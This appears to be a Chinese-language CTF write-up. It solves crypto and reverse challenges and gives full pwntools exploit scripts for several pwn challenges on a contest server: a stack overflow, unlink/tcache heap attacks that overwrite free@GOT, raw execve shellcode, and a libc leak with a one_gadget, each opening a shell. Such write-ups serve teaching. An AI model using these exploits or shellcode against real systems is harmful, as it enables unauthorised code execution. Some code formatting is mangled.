import gmpy2 from Crypto.Util.number import * from gmpy2 import * n = 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597 e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619 d= 8264667972294275017293339772371783322168822149471976834221082393409363691895 c = 235079473042454099807116076488262740135383858230967099540307826273199444131724945298259060669497025680602868465015609167157760611830665379910856647739895018654389167886359502125262006498872925841789249028759026079722290718145036644959479543255350040619949567107916725017078853648984759794085772688267388901151 m = pow(c,d,n) print(long_to_bytes(m))
a = [0x2a,0x26,0x12,0x31,0x1a,0x7,0x11,0x3a,0x2d,0x0f,0x0e,0x1a,0x41,0x4b,0x36,0x43,0x31,0x0,0x3e,0x16,0x17,0x35,0x1d,0x10,0x38,0x11,0x44,0x4a,0x1b,0x2c,0x2b,0x17,0x50,0x3,0x4] b = 'is_easy_right?' s = '' for i in range(35): s+=chr(a[i]^ord(b[i%14])) print s
fangcheng
这个题基本逻辑就是一个解方程的题目
for ( i = 0; i <= 3; ++i ) { dword_407044 = 0; for ( j = 0; j <= 3; ++j ) dword_407044 += byte_403010[4 * i + j] * byte_40703E[j]; if ( dword_403020[i] != dword_407044 ) return0LL; }
在线解方程,求得4个解为
116,103,102,114
flag即为四个解的十六进制再加上flag{}
PWN
login
利用栈溢出修改返回地址,控制程序流,获取shell EXP:
#!/usr/bin/python #coding=utf-8 from pwn import * p = remote('219.219.61.234','10000') p.recvuntil('choice: ') p.sendline('1') p.recvuntil('gth less than 20):\n') payload = 'a'*0x20+'a'*0x8+p64(0x4009F7) p.sendline(payload) p.recvuntil('password(length less than 20):\n') p.sendline('aaa') p.interactive()
login_plus
整数溢出漏洞,输入0x100000000,即4294967296就可以获取shell
note-service
拖入IDA中查看反汇编代码
可以看到非常明显的格式化字符串漏洞,再查看一下保护机制
[*] '/root/ctf/note_service' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
#!/usr/bin/python #coding=utf-8 from pwn import * context.terminal = ['gnome-terminal','-x','sh','-c'] context.binary = './messagesystem' if args['REMOTE']: p = remote('219.219.61.234','10003') else: p = process('./messagesystem')
context.log_level = 'debug' elf = ELF('./messagesystem') free_got = elf.got['free'] defleave(idx,size,payload): p.recvuntil('choice: ') p.sendline('1') p.sendlineafter('Enter your Message id!(0-15)\n',str(idx)) p.sendlineafter('How many character do you want to leave?\n',str(size)) p.recvuntil('What do you want to say?\n') p.send(payload)
defshow(idx): p.recvuntil('choice: ') p.sendline('2') p.sendlineafter('Which Message do you want to show?\n',str(idx))
defdelete(idx): p.recvuntil('choice: ') p.sendline('3') p.sendlineafter('Which Message do you want to delete?\n',str(idx))
defedit(idx,payload): p.recvuntil('choice: ') p.sendline('4') p.sendlineafter('Which Message do you want to edit?\n',str(idx)) p.recvuntil('Now enter your Message!\n') p.send(payload)
defmain(): leave(0,0x80,'aaa') leave(1,0x80,'bbb') leave(2,0x40,'/bin/sh\x00') delete(0) payload = (p64(0)+p64(0x81)+p64(0x601560-0x18)+p64(0x601560-0x10)).ljust(0x80,'\x00')+p64(0x80)+p64(0x90) leave(0,0x80,payload) #gdb.attach(p) for i in range(7): leave(i+3,0x80,'aaa') for i in range(7): delete(i+3) delete(1) payload = p64(0)*3+p64(free_got) edit(0,payload) show(0) free_addr = u64(p.recvn(8)) print hex(free_addr) log.info(hex(free_addr)) libc_base = free_addr-0x97950 system_addr = libc_base+0x4f440 edit(0,p64(system_addr)) delete(2) p.interactive()
if __name__ == "__main__": main()
not_implemented_login_service
程序没有开启数据段不可执行保护
[*] '/root/ctf/login' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
#!/usr/bin/python #coding=utf-8 from pwn import * context.log_level = 'debug' if args['REMOTE']: p = remote('219.219.61.234',10004) else: p = process('./login') elf = ELF('./login') shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' p.sendlineafter('input your username:\n',shellcode) payload = 'pwnht\x00'+'a'*0x12+p64(0x601060) p.sendlineafter('input your password:\n',payload) p.recvuntil('bye bye\n') p.interactive()
这里还得要注意绕过密码验证,因此构造payload时,要加上pwnht\x00来绕过密码验证
messagesystem_plus
这一题和前一题messagesystem基本相似,就多了个绕过tcache EXP:
#!/usr/bin/python #coding=utf-8 from pwn import * context.terminal = ['gnome-terminal','-x','sh','-c'] context.binary = './messageSystem_plus' if args['REMOTE']: p = remote('219.219.61.234','10005') else: p = process('./messageSystem_plus')
context.log_level = 'debug' elf = ELF('./messageSystem_plus') free_got = elf.got['free'] defleave(idx,size,payload): p.recvuntil('choice: ') p.sendline('1') p.sendlineafter('Enter your Message id!(0-15)\n',str(idx)) p.sendlineafter('How many character do you want to leave?\n',str(size)) p.recvuntil('What do you want to say?\n') p.send(payload)
defshow(idx): p.recvuntil('choice: ') p.sendline('2') p.sendlineafter('Which Message do you want to show?\n',str(idx))
defdelete(idx,*param): p.recvuntil('choice: ') p.sendline('3') p.sendlineafter('choice: ',str(idx)) if idx==1: for i in range(len(param)): p.sendlineafter('Which Message do you want to delete?\n',str(param[i])) p.sendlineafter('Which Message do you want to delete?\n','-1') else: p.sendlineafter('Which Message do you want to delete?\n',str(param[0]))
defedit(idx,payload): p.recvuntil('choice: ') p.sendline('4') p.sendlineafter('Which Message do you want to edit?\n',str(idx)) p.recvuntil('Now enter your Message!\n') p.send(payload)
defmain(): leave(0,0x80,'aaa') leave(1,0x80,'bbb') leave(2,0x40,'/bin/sh\x00') delete(2,0) payload = (p64(0)+p64(0x81)+p64(0x6017A0-0x18)+p64(0x6017A0-0x10)).ljust(0x80,'\x00')+p64(0x80)+p64(0x90) leave(0,0x80,payload) #gdb.attach(p) for i in range(7): leave(i+3,0x80,'aaa') for i in range(7): delete(2,i+3) delete(2,1) payload = p64(0)*3+p64(free_got) edit(0,payload) show(0) free_addr = u64(p.recvn(8)) print hex(free_addr) log.info(hex(free_addr)) libc_base = free_addr-0x97950 system_addr = libc_base+0x4f440 edit(0,p64(system_addr)) delete(2,2) p.interactive()
if __name__ == "__main__": main()
mail_service
查看保护机制
[*] '/root/ctf/mail_service' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
#!/usr/bin/python #coding=utf-8 from pwn import * context.terminal = ['gnome-terminal','-x','sh','-c'] context.binary = './mail_service' if args['REMOTE']: p = remote('219.219.61.234','10006') else: p = process('./mail_service') context.log_level = 'debug' elf = ELF('./mail_service')
defadd_mail(idx,receiver,title,length,context): p.sendlineafter('your choice:\n','1') p.sendlineafter('your mail index:\n',str(idx)) p.recvuntil('input your receiver:\n') p.send(receiver.ljust(0x10,'\x00')) p.recvuntil('input your title:\n') p.send(title.ljust(0x10,'\x00')) p.recvuntil('input your mail length:\n') p.sendline(str(length)) p.recvuntil('input your mail context:\n') p.send(context)
defshow_mail(idx): p.sendlineafter('your choice:\n','2') p.sendlineafter('your mail index:\n',str(idx))
defremove_mail(idx): p.sendlineafter('your choice:\n','3') p.sendlineafter('your mail index:\n',str(idx))
defedit_mail(idx,receiver,title,context): p.sendlineafter('your choice:\n','4') p.sendlineafter('your mail index:\n',str(idx)) p.recvuntil('input your receiver:\n') p.send(receiver.ljust(0x10,'\x00')) p.recvuntil('input your title:\n') p.send(title.ljust(0x10,'\x00')) p.recvuntil('input your mail context:\n') p.send(context)
defmain(): p.recvuntil('your choice:\n') p.sendline('1') p.sendafter('input your name:\n','/bin/sh\x00'.ljust(0x10,'\x00')) p.sendafter('input your password:\n','/bin/sh\x00'.ljust(0x10,'\x00')) p.recvuntil('your choice:\n') p.sendline('2') p.sendafter('input your name:\n','/bin/sh\x00'.ljust(0x10,'\x00')) p.sendafter('input your password:\n','/bin/sh\x00'.ljust(0x10,'\x00')) add_mail(0,'agx','agxaa',0x30,'agxaaagxaa') add_mail(1,'agx','agxaa',0x80,'agxaa') add_mail(2,'agx','agxaa',0x10,'agxaa') for i in range(7): remove_mail(1) remove_mail(1) show_mail(1) p.recvuntil('context is: ') malloc_hook = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-96-0x10 log.info(hex(malloc_hook)) libc_addr = malloc_hook -0x3ebc30 one_gadget = libc_addr+0x4f322 environ = libc_addr+0x3ee098 remove_mail(0) show_mail(0) p.recvuntil('context is: ') heap_1 = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) log.info(hex(heap_1)) add_mail(3,'agx','aaaaa',0x30,'aaaaaaaaaa') edit_mail(3,'aaaaaa','bbbbbb','a'*16+'b'*16+p64(environ)+p64(0x200)) show_mail(0) p.recvuntil('context is: ') stack = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) log.info('stack==>'+hex(stack)) edit_mail(3,'aaaaaa','bbbbbb','a'*16+'b'*16+p64(stack-272)+p64(0x200)) edit_mail(0,'ccc','dddd',p64(one_gadget))
#!/usr/bin/python #coding=utf-8 from pwn import * context.terminal = ['gnome-terminal','-x','sh','-c'] context.binary = './vpn' if args['REMOTE']: p = remote('219.219.61.234','20007') else: p = process('./vpn') context.log_level = 'debug' elf = ELF('./vpn') p.recvuntil('input your user name\n') p.send('a'*0x100) p.sendafter('input your password\n','b'*0x100) p.recvuntil('input your user name\n') p.send('\x00') p.sendafter('input your password\n','\x00') p.interactive()